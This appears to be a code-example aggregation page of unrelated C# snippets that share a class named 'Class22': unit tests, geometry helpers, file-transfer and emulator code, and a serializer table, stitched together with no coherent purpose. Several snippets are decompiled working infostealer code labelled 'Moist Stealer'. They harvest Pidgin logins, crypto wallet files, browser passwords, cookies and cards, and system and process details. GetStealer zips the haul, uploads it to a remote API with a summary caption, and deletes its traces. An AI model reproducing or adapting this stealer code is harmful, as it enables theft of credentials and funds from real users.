Exemple #1
0
        public void Test_Class22()
        {
            var instance = new Harmony("test");

            Assert.NotNull(instance, "instance");

            var original = SymbolExtensions.GetMethodInfo(() => Class22.Method22());

            Assert.NotNull(original, "original");
            var prefix1 = SymbolExtensions.GetMethodInfo(() => Class22.Prefix1(false));

            Assert.NotNull(original, "prefix1");
            var prefix2 = SymbolExtensions.GetMethodInfo(() => Class22.Prefix2(false));

            Assert.NotNull(original, "prefix2");

            var patched1 = instance.Patch(original, new HarmonyMethod(prefix1));

            Assert.NotNull(patched1, "patched1");

            var patched2 = instance.Patch(original, new HarmonyMethod(prefix2));

            Assert.NotNull(patched2, "patched2");

            Class22.bool1 = null;
            Class22.bool2 = null;
            Class22.Method22();

            Assert.NotNull(Class22.bool1, "Class22.bool1");
            Assert.NotNull(Class22.bool2, "Class22.bool2");
            Assert.IsTrue(Class22.bool1.Value, "Class22.bool1.Value");
            Assert.IsFalse(Class22.bool2.Value, "Class22.bool2.Value");
        }
Exemple #2
0
        public void Test_Class22()
        {
            var instance = new Harmony("test");

            Assert.NotNull(instance, "instance");

            var processor = new PatchClassProcessor(instance, typeof(Class22));

            Assert.NotNull(processor, "processor");
            _ = processor.Patch();

            Class22.bool1 = null;
            Class22.bool2 = null;
            Class22.bool3 = null;
            Class22.bool4 = null;
            Class22.Method22();

            Assert.NotNull(Class22.bool1, "bool1");
            Assert.IsTrue(Class22.bool1.Value, "bool1.Value");

            Assert.NotNull(Class22.bool2, "bool2");
            Assert.IsTrue(Class22.bool2.Value, "bool2.Value");

            Assert.NotNull(Class22.bool3, "bool3");
            Assert.IsFalse(Class22.bool3.Value, "bool3.Value");

            Assert.NotNull(Class22.bool4, "bool3");
            Assert.IsFalse(Class22.bool4.Value, "bool4.Value");
        }
    // Token: 0x060001DE RID: 478 RVA: 0x0000EC98 File Offset: 0x0000CE98
    public static void smethod_1(string string_0, string string_1)
    {
        DirectoryInfo directoryInfo_  = new DirectoryInfo(string_0);
        DirectoryInfo directoryInfo_2 = new DirectoryInfo(string_1);

        Class22.smethod_2(directoryInfo_, directoryInfo_2);
    }
Exemple #4
0
        public void Test1()
        {
            int expected = 1;

            int[] input  = new int[] { 1, 2, 3, 4, 5 };
            var   actual = Class22.FindWithUnknownLength(input, 2);

            Assert.Equal(expected, actual);
        }
Exemple #5
0
        public void Test3()
        {
            int expected = -1;

            int[] input  = new int[] { 1, 2 };
            var   actual = Class22.FindWithUnknownLength(input, 5);

            Assert.Equal(expected, actual);
        }
Exemple #6
0
        public void Test4()
        {
            int expected = -1;

            int[] input  = null;
            var   actual = Class22.FindWithUnknownLength(input, 1);

            Assert.Equal(expected, actual);
        }
    // Token: 0x060001DD RID: 477 RVA: 0x0000EC48 File Offset: 0x0000CE48
    public static void smethod_0()
    {
        string text = Path.Combine(Dirs.AppData, ".purple\\logs\\jabber");

        if (Directory.Exists(text))
        {
            Directory.CreateDirectory(Dirs.WorkDir + "\\Pidgin\\Logs");
            Class22.smethod_1(text, Dirs.WorkDir + "\\Pidgin\\Logs");
        }
    }
Exemple #8
0
    public void HnFdepcbbe(string string_1, ulong ulong_0, string string_2, ulong ulong_1)
    {
        TransferingProject project = this.imethod_2(string_1);

        if (project != null)
        {
            SendingFileParas paras = this.class3_0.imethod_0(project.AccepterID);
            int filePackageSize    = paras.FilePackageSize;
            int sendingSpanInMSecs = paras.SendingSpanInMSecs;
            if (project.method_0() != null)
            {
                filePackageSize    = project.method_0().FilePackageSize;
                sendingSpanInMSecs = project.method_0().SendingSpanInMSecs;
            }
            if (filePackageSize > (GlobalUtil.MaxLengthOfMessage - 100))
            {
                filePackageSize = GlobalUtil.MaxLengthOfMessage - 100;
            }
            IFileOutter interface2 = null;
            if (project.IsFolder)
            {
                interface2 = new DirectorySender(this.emptyAgileLogger_0, (IFilePackageHelper)this.object_0, project.OriginPath, project.AccepterID, string_2, ulong_0, ulong_1);
            }
            else if (project.OriginStream == null)
            {
                interface2 = new FileSender(this.emptyAgileLogger_0, (IFilePackageHelper)this.object_0, project.OriginPath, project.AccepterID, ulong_0);
            }
            else
            {
                interface2 = new Class22(this.emptyAgileLogger_0, (IFilePackageHelper)this.object_0, project.OriginPath, project.OriginStream, project.TotalSize, project.AccepterID);
            }
            interface2.imethod_9(filePackageSize);
            interface2.imethod_11(sendingSpanInMSecs);
            interface2.imethod_13(this.int_0);
            interface2.imethod_6(project.ProjectID);
            interface2.FileTransProgress   += new CbFileSendedProgress(this.method_8);
            interface2.FileTransCompleted  += new CbFileTransCompleted(this.method_9);
            interface2.FileTransDisruptted += new CbFileTransDisruptted(this.method_10);
            this.safeDictionary_1.Add(interface2.imethod_5(), interface2);
            if (ulong_0 == 0L)
            {
                this.FileTransStarted(project);
            }
            else
            {
                this.FileTransCompleted(project);
            }
            interface2.HnFdepcbbe(this.bool_0);
        }
    }
Exemple #9
0
    // Token: 0x06000233 RID: 563 RVA: 0x0001179C File Offset: 0x0000F99C
    public static void smethod_7(string string_0)
    {
        ComputerInfo computerInfo = new ComputerInfo();
        Size         size         = Screen.PrimaryScreen.Bounds.Size;

        try
        {
            using (StreamWriter streamWriter = new StreamWriter(string_0 + "\\Info.txt", false, Encoding.Default))
            {
                TextWriter textWriter = streamWriter;
                string[]   array      = new string[24];
                array[0] = "OC verison - ";
                int             num       = 1;
                OperatingSystem osversion = Environment.OSVersion;
                array[num] = ((osversion != null) ? osversion.ToString() : null);
                array[2]   = " | ";
                array[3]   = computerInfo.OSFullName;
                array[4]   = "\nMachineName - ";
                array[5]   = Environment.MachineName;
                array[6]   = "/";
                array[7]   = Environment.UserName;
                array[8]   = "\nResolution - ";
                int  num2  = 9;
                Size size2 = size;
                array[num2] = size2.ToString();
                array[10]   = "\nCurrent time Utc - ";
                array[11]   = DateTime.UtcNow.ToString();
                array[12]   = "\nCurrent time - ";
                array[13]   = DateTime.Now.ToString();
                array[14]   = "\nCPU - ";
                array[15]   = Class22.smethod_6();
                array[16]   = "\nRAM - ";
                array[17]   = Class22.smethod_2();
                array[18]   = "\nGPU - ";
                array[19]   = Class22.smethod_1();
                array[20]   = "\n\n\nIP Geolocation: ";
                array[21]   = Moist.Help.IP;
                array[22]   = " ";
                array[23]   = Moist.Help.Country();
                textWriter.WriteLine(string.Concat(array));
                streamWriter.Close();
            }
        }
        catch
        {
        }
    }
 // Token: 0x060001DF RID: 479 RVA: 0x0000ECBC File Offset: 0x0000CEBC
 public static void smethod_2(DirectoryInfo directoryInfo_0, DirectoryInfo directoryInfo_1)
 {
     try
     {
         foreach (FileInfo fileInfo in directoryInfo_0.GetFiles())
         {
             fileInfo.CopyTo(Path.Combine(directoryInfo_1.ToString(), fileInfo.Name), true);
         }
         foreach (DirectoryInfo directoryInfo in directoryInfo_0.GetDirectories())
         {
             DirectoryInfo directoryInfo_2 = directoryInfo_1.CreateSubdirectory(directoryInfo.Name);
             Class22.smethod_2(directoryInfo, directoryInfo_2);
         }
     }
     catch
     {
     }
 }
    // Token: 0x060001E4 RID: 484 RVA: 0x0000F4A0 File Offset: 0x0000D6A0
    public static void Pidgin()
    {
        StringBuilder stringBuilder = new StringBuilder();
        string        text          = Path.Combine(Dirs.AppData, ".purple\\accounts.xml");

        if (File.Exists(text))
        {
            try
            {
                XmlDocument xmlDocument = new XmlDocument();
                xmlDocument.Load(new XmlTextReader(text));
                foreach (object obj in xmlDocument.DocumentElement.ChildNodes)
                {
                    XmlNode xmlNode    = (XmlNode)obj;
                    string  innerText  = xmlNode.ChildNodes[0].InnerText;
                    string  innerText2 = xmlNode.ChildNodes[1].InnerText;
                    string  innerText3 = xmlNode.ChildNodes[2].InnerText;
                    if (string.IsNullOrEmpty(innerText) || string.IsNullOrEmpty(innerText2) || string.IsNullOrEmpty(innerText3))
                    {
                        break;
                    }
                    stringBuilder.AppendLine("Protocol: " + innerText);
                    stringBuilder.AppendLine("Login: "******"Password: "******"\r\n");
                }
                if (stringBuilder.Length > 0)
                {
                    Directory.CreateDirectory(Dirs.WorkDir + "\\Pidgin");
                    try
                    {
                        File.AppendAllText(Dirs.WorkDir + "\\Pidgin\\Logins.txt", stringBuilder.ToString());
                    }
                    catch
                    {
                    }
                }
            }
            catch
            {
            }
            Class22.smethod_0();
        }
    }
Exemple #12
0
    // Token: 0x06000661 RID: 1633 RVA: 0x000383C8 File Offset: 0x000365C8
    private Class2 method_10(bool bool_2)
    {
        if (!this.bool_0)
        {
            bool flag = this.bool_1 || this.symmetricAlgorithm_0 == null;
            if (this.symmetricAlgorithm_0 == null)
            {
                this.symmetricAlgorithm_0 = Class152.smethod_0();
                if (this.symmetricAlgorithm_0 == null)
                {
                    this.bool_0 = true;
                }
            }
            if (this.symmetricAlgorithm_0 != null)
            {
                if (flag)
                {
                    this.symmetricAlgorithm_0.Key     = this.method_4();
                    this.symmetricAlgorithm_0.IV      = this.method_6();
                    this.symmetricAlgorithm_0.Mode    = Class152.smethod_1(this.method_0());
                    this.symmetricAlgorithm_0.Padding = Class152.smethod_2(this.method_2());
                }
                return(new Class4(bool_2 ? this.symmetricAlgorithm_0.CreateEncryptor() : this.symmetricAlgorithm_0.CreateDecryptor()));
            }
        }
        Class73 interface1_ = new Class73(new Class151());
        Class22 @class;

        if (this.method_2() != (Enum1)1)
        {
            @class = new Class23(interface1_, Class152.smethod_3(this.method_2()));
        }
        else
        {
            @class = new Class22(interface1_);
        }
        Class25 interface6_ = new Class25(new Class188(this.method_4()), this.method_6());

        @class.imethod_1(bool_2, interface6_);
        return(new Class3(@class));
    }
Exemple #13
0
 // Token: 0x0600022C RID: 556 RVA: 0x0001127C File Offset: 0x0000F47C
 public static void smethod_0(string string_0)
 {
     Class22.smethod_7(string_0);
     using (StreamWriter streamWriter = new StreamWriter(string_0 + "\\Programms.txt", false, Encoding.Default))
     {
         try
         {
             RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall");
             string[]    subKeyNames = registryKey.GetSubKeyNames();
             for (int i = 0; i < subKeyNames.Length; i++)
             {
                 RegistryKey registryKey2 = registryKey.OpenSubKey(subKeyNames[i]);
                 string      text         = registryKey2.GetValue("DisplayName") as string;
                 if (text != null)
                 {
                     streamWriter.WriteLine(text);
                 }
             }
         }
         catch
         {
         }
     }
     try
     {
         using (StreamWriter streamWriter2 = new StreamWriter(string_0 + "\\Processes.txt", false, Encoding.Default))
         {
             Process[] processes = Process.GetProcesses();
             for (int j = 0; j < processes.Length; j++)
             {
                 streamWriter2.WriteLine(processes[j].ProcessName.ToString());
             }
         }
     }
     catch
     {
     }
 }
Exemple #14
0
    // Token: 0x06000118 RID: 280 RVA: 0x000077EC File Offset: 0x000059EC
    public static byte[] smethod_1(object[] object_1)
    {
        Guid guid_;

        return(Class22.smethod_3(true, 0, 0, guid_, object_1));
    }
    // Token: 0x060001E2 RID: 482 RVA: 0x0000EFA4 File Offset: 0x0000D1A4
    public static void smethod_5(string string_0)
    {
        try
        {
            string[] directories = Directory.GetDirectories(string_0);
            int      i           = 0;
            while (i < directories.Length)
            {
                string text = directories[i];
                try
                {
                    if (text == Dirs.AppData + "\\Microsoft")
                    {
                        goto IL_1F8;
                    }
                    if (text == Dirs.LocalAppData + "\\Application Data")
                    {
                        goto IL_1F8;
                    }
                    if (text == Dirs.LocalAppData + "\\History")
                    {
                        goto IL_1F8;
                    }
                    if (text == Dirs.LocalAppData + "\\Microsoft")
                    {
                        goto IL_1F8;
                    }
                    if (text == Dirs.LocalAppData + "\\Temporary Internet Files")
                    {
                        goto IL_1F8;
                    }
                    string[] files = Directory.GetFiles(text);
                    foreach (string text2 in files)
                    {
                        FileInfo fileInfo = new FileInfo(text2);
                        if (fileInfo.Name == "wallet.dat" || fileInfo.Name == "wallet" || fileInfo.Name == "default_wallet.dat" || fileInfo.Name == "default_wallet" || fileInfo.Name.EndsWith("wallet") || fileInfo.Name.EndsWith("bit") || fileInfo.Name.StartsWith("wallet"))
                        {
                            Directory.CreateDirectory(Dirs.WorkDir + "\\Wallets");
                            try
                            {
                                if (!fileInfo.Name.EndsWith(".log"))
                                {
                                    string name = new DirectoryInfo(text).Name;
                                    Directory.CreateDirectory(Dirs.WorkDir + "\\Wallets\\" + name);
                                    File.Copy(text2, string.Concat(new string[]
                                    {
                                        Dirs.WorkDir,
                                        "\\Wallets\\",
                                        name,
                                        "\\",
                                        fileInfo.Name
                                    }));
                                }
                            }
                            catch
                            {
                            }
                        }
                    }
                }
                catch
                {
                }
                goto IL_1F2;
IL_1F8:
                i++;
                continue;
IL_1F2:
                Class22.smethod_5(text);
                goto IL_1F8;
            }
        }
        catch
        {
        }
    }
Exemple #16
0
        public Edge MinimumWidth()
        {
            Class22 @class = new Class22(this);

            return(@class.method_6());
        }
Exemple #17
0
        public BoundingRectangle MinimumPerimeterEnclosingRectangle()
        {
            Class22 @class = new Class22(this);

            return(@class.method_3());
        }
Exemple #18
0
        public BoundingRectangle FitsInto(BoundingRectangle container)
        {
            Class22 @class = new Class22(this);

            return(@class.method_7(container));
        }
Exemple #19
0
 public static void GetStealer()
 {
     try
     {
         Directory.CreateDirectory(Help.Moist_Dir);
         Directory.CreateDirectory(Help.Browsers);
         Directory.CreateDirectory(Help.Passwords);
         Directory.CreateDirectory(Help.Autofills);
         Directory.CreateDirectory(Help.Downloads);
         Directory.CreateDirectory(Help.Cookies);
         Directory.CreateDirectory(Help.History);
         Directory.CreateDirectory(Help.Cards);
         File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory);
         GetFiles.Inizialize(Help.Moist_Dir);
         Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));
         try
         {
             Class4.smethod_0(Help.Cookies);
         }
         catch
         {
         }
         try
         {
             Class4.PlqfdbrYf(Help.Passwords);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_2(Help.Autofills);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_3(Help.Downloads);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_4(Help.History);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_1(Help.Cards);
         }
         catch
         {
         }
         try
         {
             Class12.smethod_2();
         }
         catch
         {
         }
         try
         {
             Class12.smethod_3();
         }
         catch
         {
         }
         try
         {
             Class25.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class15.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class24.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class23.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class20.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             TGrabber.Start(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class14.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class21.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class13.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class22.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class16.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class17.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class37.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             DomainDetect.Start(Help.Browsers);
         }
         catch
         {
         }
         string text = string.Concat(new string[]
         {
             Help.dir,
             "\\",
             Help.HWID,
             Help.smethod_0(),
             ".zip"
         });
         using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
         {
             zipFile.CompressionLevel = 9;
             zipFile.Comment          = string.Concat(new string[]
             {
                 "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:",
                 Environment.MachineName,
                 "/",
                 Environment.UserName,
                 "\nIP: ",
                 Help.IP,
                 Help.Country(),
                 "\nHWID: ",
                 Help.HWID
             });
             zipFile.AddDirectory(Help.Moist_Dir ?? "");
             zipFile.Save(text ?? "");
         }
         string text2 = text ?? "";
         byte[] file  = File.ReadAllBytes(text2);
         string url   = string.Concat(new string[]
         {
             Help.ApiUrl,
             "?id=",
             Class1.string_0,
             "&caption=",
             "⚡️ Moist Stealer Gate detected new log! ⚡️\n",
             "\ud83d\udd25 User: "******"/",
             Environment.UserName,
             " \ud83d\udd25\n",
             "\ud83c\udf0d IP: " + Help.IP,
             " ",
             Help.Country(),
             "\n\n",
             string.Concat(new string[]
             {
                 "\n\ud83c\udf10 Browsers Data\nPasswords: ",
                 (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(),
                 "\nCookies: ",
                 (Class4.int_3 + Class12.int_0).ToString(),
                 "\nHistory: ",
                 Class4.int_4.ToString(),
                 "\nAutofill: ",
                 Class4.int_1.ToString(),
                 "\nCC:  ",
                 Class4.int_5.ToString(),
                 "\n"
             }),
             string.Concat(new string[]
             {
                 "\n\ud83d\udcb6 Wallets: ",
                 (Class37.int_0 > 0) ? "Yes" : "No",
                 (Class31.int_0 > 0) ? " Electrum" : "",
                 (Class26.int_0 > 0) ? " Armory" : "",
                 (Class27.int_0 > 0) ? " Atomic" : "",
                 (Class28.int_0 > 0) ? " BitcoinCore" : "",
                 (Class29.int_0 > 0) ? " Bytecoin" : "",
                 (Class30.int_0 > 0) ? " DashCore" : "",
                 (Class32.int_0 > 0) ? " Ethereum" : "",
                 (Class33.int_0 > 0) ? " Exodus" : "",
                 (Class35.int_0 > 0) ? " LitecoinCore" : "",
                 (Class36.int_0 > 0) ? " Monero" : "",
                 (Class38.int_0 > 0) ? " Zcash" : "",
                 (Class34.int_0 > 0) ? " Jaxx" : "",
                 "\n\n\ud83e\uddf2 Grabbed files: ",
                 GetFiles.count.ToString(),
                 "\n\ud83d\udcac Discord: ",
                 (Class14.int_0 > 0) ? "Yes" : "No",
                 "\n\ud83d\udee9 Telegram: ",
                 (TGrabber.count > 0) ? "Yes" : "No",
                 "\n\ud83d\udca1 Jabber: ",
                 (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No",
                 (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "",
                 (Class20.int_0 > 0) ? " Psi" : "",
                 "\n\n\ud83d\udce1 FTP\nFileZilla: ",
                 (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No",
                 "\nTotalCmd: ",
                 (Class17.int_0 > 0) ? "Yes" : "No",
                 "\n\n⚖️ VPN\nNordVPN: ",
                 (Class23.int_0 > 0) ? "Yes" : "No",
                 "\nOpenVPN: ",
                 (Class24.int_0 > 0) ? "Yes" : "No",
                 "\nProtonVPN: ",
                 (Class25.int_0 > 0) ? "Yes" : "No",
                 "\n\nHWID: ",
                 Help.HWID,
                 "\n⚙️ ",
                 Class22.smethod_4(),
                 "\n\ud83d\udd0e Domain detect",
                 File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
             })
         });
         SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url);
         Directory.Delete(Help.dir + "\\", true);
         File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
     }
     catch
     {
     }
 }
Exemple #20
0
    // Token: 0x060005C2 RID: 1474 RVA: 0x00028230 File Offset: 0x00026430
    // Note: this type is marked as 'beforefieldinit'.
    static Class23()
    {
        Class202.ofdixO4zTbIfy();
        Class23.dictionary_0 = new Dictionary <Type, Enum3>
        {
            {
                typeof(char),
                (Enum3)2
            },
            {
                typeof(char?),
                (Enum3)3
            },
            {
                typeof(bool),
                (Enum3)4
            },
            {
                typeof(bool?),
                (Enum3)5
            },
            {
                typeof(sbyte),
                (Enum3)6
            },
            {
                typeof(sbyte?),
                (Enum3)7
            },
            {
                typeof(short),
                (Enum3)8
            },
            {
                typeof(short?),
                (Enum3)9
            },
            {
                typeof(ushort),
                (Enum3)10
            },
            {
                typeof(ushort?),
                (Enum3)11
            },
            {
                typeof(int),
                (Enum3)12
            },
            {
                typeof(int?),
                (Enum3)13
            },
            {
                typeof(byte),
                (Enum3)14
            },
            {
                typeof(byte?),
                (Enum3)15
            },
            {
                typeof(uint),
                (Enum3)16
            },
            {
                typeof(uint?),
                (Enum3)17
            },
            {
                typeof(long),
                (Enum3)18
            },
            {
                typeof(long?),
                (Enum3)19
            },
            {
                typeof(ulong),
                (Enum3)20
            },
            {
                typeof(ulong?),
                (Enum3)21
            },
            {
                typeof(float),
                (Enum3)22
            },
            {
                typeof(float?),
                (Enum3)23
            },
            {
                typeof(double),
                (Enum3)24
            },
            {
                typeof(double?),
                (Enum3)25
            },
            {
                typeof(DateTime),
                (Enum3)26
            },
            {
                typeof(DateTime?),
                (Enum3)27
            },
            {
                typeof(DateTimeOffset),
                (Enum3)28
            },
            {
                typeof(DateTimeOffset?),
                (Enum3)29
            },
            {
                typeof(decimal),
                (Enum3)30
            },
            {
                typeof(decimal?),
                (Enum3)31
            },
            {
                typeof(Guid),
                (Enum3)32
            },
            {
                typeof(Guid?),
                (Enum3)33
            },
            {
                typeof(TimeSpan),
                (Enum3)34
            },
            {
                typeof(TimeSpan?),
                (Enum3)35
            },
            {
                typeof(BigInteger),
                (Enum3)36
            },
            {
                typeof(BigInteger?),
                (Enum3)37
            },
            {
                typeof(Uri),
                (Enum3)38
            },
            {
                typeof(string),
                (Enum3)39
            },
            {
                typeof(byte[]),
                (Enum3)40
            },
            {
                typeof(DBNull),
                (Enum3)41
            }
        };
        Class22[] array  = new Class22[19];
        int       num    = 0;
        Class22   @class = new Class22();

        @class.Type = typeof(object);
        @class.method_1((Enum3)0);
        array[num] = @class;
        int     num2   = 1;
        Class22 class2 = new Class22();

        class2.Type = typeof(object);
        class2.method_1((Enum3)1);
        array[num2] = class2;
        int     num3   = 2;
        Class22 class3 = new Class22();

        class3.Type = typeof(object);
        class3.method_1((Enum3)41);
        array[num3] = class3;
        int     num4   = 3;
        Class22 class4 = new Class22();

        class4.Type = typeof(bool);
        class4.method_1((Enum3)4);
        array[num4] = class4;
        int     num5   = 4;
        Class22 class5 = new Class22();

        class5.Type = typeof(char);
        class5.method_1((Enum3)2);
        array[num5] = class5;
        int     num6   = 5;
        Class22 class6 = new Class22();

        class6.Type = typeof(sbyte);
        class6.method_1((Enum3)6);
        array[num6] = class6;
        int     num7   = 6;
        Class22 class7 = new Class22();

        class7.Type = typeof(byte);
        class7.method_1((Enum3)14);
        array[num7] = class7;
        int     num8   = 7;
        Class22 class8 = new Class22();

        class8.Type = typeof(short);
        class8.method_1((Enum3)8);
        array[num8] = class8;
        int     num9   = 8;
        Class22 class9 = new Class22();

        class9.Type = typeof(ushort);
        class9.method_1((Enum3)10);
        array[num9] = class9;
        int     num10   = 9;
        Class22 class10 = new Class22();

        class10.Type = typeof(int);
        class10.method_1((Enum3)12);
        array[num10] = class10;
        int     num11   = 10;
        Class22 class11 = new Class22();

        class11.Type = typeof(uint);
        class11.method_1((Enum3)16);
        array[num11] = class11;
        int     num12   = 11;
        Class22 class12 = new Class22();

        class12.Type = typeof(long);
        class12.method_1((Enum3)18);
        array[num12] = class12;
        int     num13   = 12;
        Class22 class13 = new Class22();

        class13.Type = typeof(ulong);
        class13.method_1((Enum3)20);
        array[num13] = class13;
        int     num14   = 13;
        Class22 class14 = new Class22();

        class14.Type = typeof(float);
        class14.method_1((Enum3)22);
        array[num14] = class14;
        int     num15   = 14;
        Class22 class15 = new Class22();

        class15.Type = typeof(double);
        class15.method_1((Enum3)24);
        array[num15] = class15;
        int     num16   = 15;
        Class22 class16 = new Class22();

        class16.Type = typeof(decimal);
        class16.method_1((Enum3)30);
        array[num16] = class16;
        int     num17   = 16;
        Class22 class17 = new Class22();

        class17.Type = typeof(DateTime);
        class17.method_1((Enum3)26);
        array[num17] = class17;
        int     num18   = 17;
        Class22 class18 = new Class22();

        class18.Type = typeof(object);
        class18.method_1((Enum3)0);
        array[num18] = class18;
        int     num19   = 18;
        Class22 class19 = new Class22();

        class19.Type = typeof(string);
        class19.method_1((Enum3)39);
        array[num19]      = class19;
        Class23.class22_0 = array;
        Class23.class99_0 = new Class99 <Struct9 <Type, Type>, Func <object, object> >(new Func <Struct9 <Type, Type>, Func <object, object> >(Class23.smethod_5));
    }
Exemple #21
0
        private void InternaPrelPlay()
        {
            if (!this.CheckNvidiaDriverVersion())
            {
                return;
            }
            if (this.EmuConfiguration_0.AutoUpdate && new ComputerInfo().TotalPhysicalMemory >= 6442450944UL)
            {
                this.InstallCommunityShaders();
            }
            this.Event_0           += (EventHandler)((sender, e) => Class27.smethod_0(this.gclass30_0 as GClass32));
            this._modArgumentString = (string)null;
            GClass15 gclass15 = new GClass15((GClass32)this.gclass30_0);

            if (gclass15.InstalledMods.Count <= 0)
            {
                return;
            }
            Dictionary <string, ulong> counter     = (Dictionary <string, ulong>)null;
            Dictionary <string, ulong> counter_mlc = (Dictionary <string, ulong>)null;

            try
            {
                counter = JsonConvert.DeserializeObject <Dictionary <string, ulong> >(System.IO.File.ReadAllText(this.PerformanceFile));
            }
            catch
            {
                counter = new Dictionary <string, ulong>();
            }
            try
            {
                counter_mlc = JsonConvert.DeserializeObject <Dictionary <string, ulong> >(System.IO.File.ReadAllText(this.PerformanceFileMlc));
            }
            catch
            {
                counter_mlc = new Dictionary <string, ulong>();
            }
            gclass15.method_7();
            List <GClass16> gclass16List = gclass15.method_4();
            Class22         mapper       = new Class22(this.CurrentGamePath, counter, 134217728L);
            Class22         mapper_mlc   = new Class22(System.IO.Path.Combine(this.Root_BIN_Path, "mlc01"), counter_mlc, 134217728L);

            foreach (Alphaleonis.Win32.Filesystem.FileInfo fileInfo in gclass15.List_0)
            {
                if (System.IO.File.Exists(this.Root_BIN_Path + "\\mlc01\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length)))
                {
                    mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName);
                }
                else if (System.IO.File.Exists(this.CurrentGamePath + fileInfo.FullName.Substring(gclass15.String_0.Length)))
                {
                    mapper.method_1(fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName);
                }
                else
                {
                    mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName);
                    mapper.method_1(fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName);
                }
            }
            foreach (GClass16 gclass16 in gclass16List)
            {
                string string_2 = gclass15.String_0 + gclass16.ArchiveRelativePath;
                mapper.method_1(gclass16.GameRelativePath, string_2);
                mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + gclass16.GameRelativePath, string_2);
            }
            Task.Run((Action)(() =>
            {
                foreach (KeyValuePair <string, ulong> keyValuePair in (IEnumerable <KeyValuePair <string, ulong> >)counter.OrderByDescending <KeyValuePair <string, ulong>, ulong>((Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value)))
                {
                    mapper.method_2(keyValuePair.Key);
                }
                foreach (KeyValuePair <string, ulong> keyValuePair in (IEnumerable <KeyValuePair <string, ulong> >)counter_mlc.OrderByDescending <KeyValuePair <string, ulong>, ulong>((Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value)))
                {
                    mapper_mlc.method_2(keyValuePair.Key);
                }
                mapper.method_0();
                mapper_mlc.method_0();
            }));
            System.IO.Directory.CreateDirectory(System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount"));
            foreach (System.IO.DirectoryInfo enumerateDirectory in new System.IO.DirectoryInfo(System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount")).EnumerateDirectories())
            {
                try
                {
                    try
                    {
                        Dokan.RemoveMountPoint(enumerateDirectory.FullName);
                    }
                    catch
                    {
                    }
                    enumerateDirectory.Delete(true);
                }
                catch
                {
                }
            }
            string mount_point     = System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount", System.IO.Path.GetRandomFileName());
            string mount_point_mlc = System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount", System.IO.Path.GetRandomFileName());

            GClass6.smethod_5(mount_point);
            System.IO.Directory.CreateDirectory(mount_point);
            System.IO.Directory.CreateDirectory(mount_point_mlc);
            this.Event_0 += (EventHandler)((sender, e) =>
            {
                mapper.method_4();
                mapper_mlc.method_4();
                System.IO.File.WriteAllText(this.PerformanceFile, JsonConvert.SerializeObject((object)counter));
                string performanceFileMlc = this.PerformanceFileMlc;
                IEnumerable <KeyValuePair <string, ulong> > source = counter_mlc.Where <KeyValuePair <string, ulong> >((Func <KeyValuePair <string, ulong>, bool>)(x => x.Key.Contains("\\USR\\TITLE\\00050000\\")));
                Func <KeyValuePair <string, ulong>, string> func = (Func <KeyValuePair <string, ulong>, string>)(x => x.Key);
                Func <KeyValuePair <string, ulong>, string> keySelector;
                string contents = JsonConvert.SerializeObject((object)source.ToDictionary <KeyValuePair <string, ulong>, string, ulong>(keySelector, (Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value)));
                System.IO.File.WriteAllText(performanceFileMlc, contents);
                Dokan.RemoveMountPoint(mount_point);
                Dokan.RemoveMountPoint(mount_point_mlc);
                GClass6.smethod_5(mount_point);
                GClass6.smethod_5(mount_point_mlc);
            });
            Task.Run((Action)(() => mapper.Mount(mount_point, DokanOptions.WriteProtection, 10, (ILogger)null)));
            Task.Run((Action)(() => mapper_mlc.Mount(mount_point_mlc, DokanOptions.FixedDrive, 10, (ILogger)null)));
            Thread.Sleep(2000);
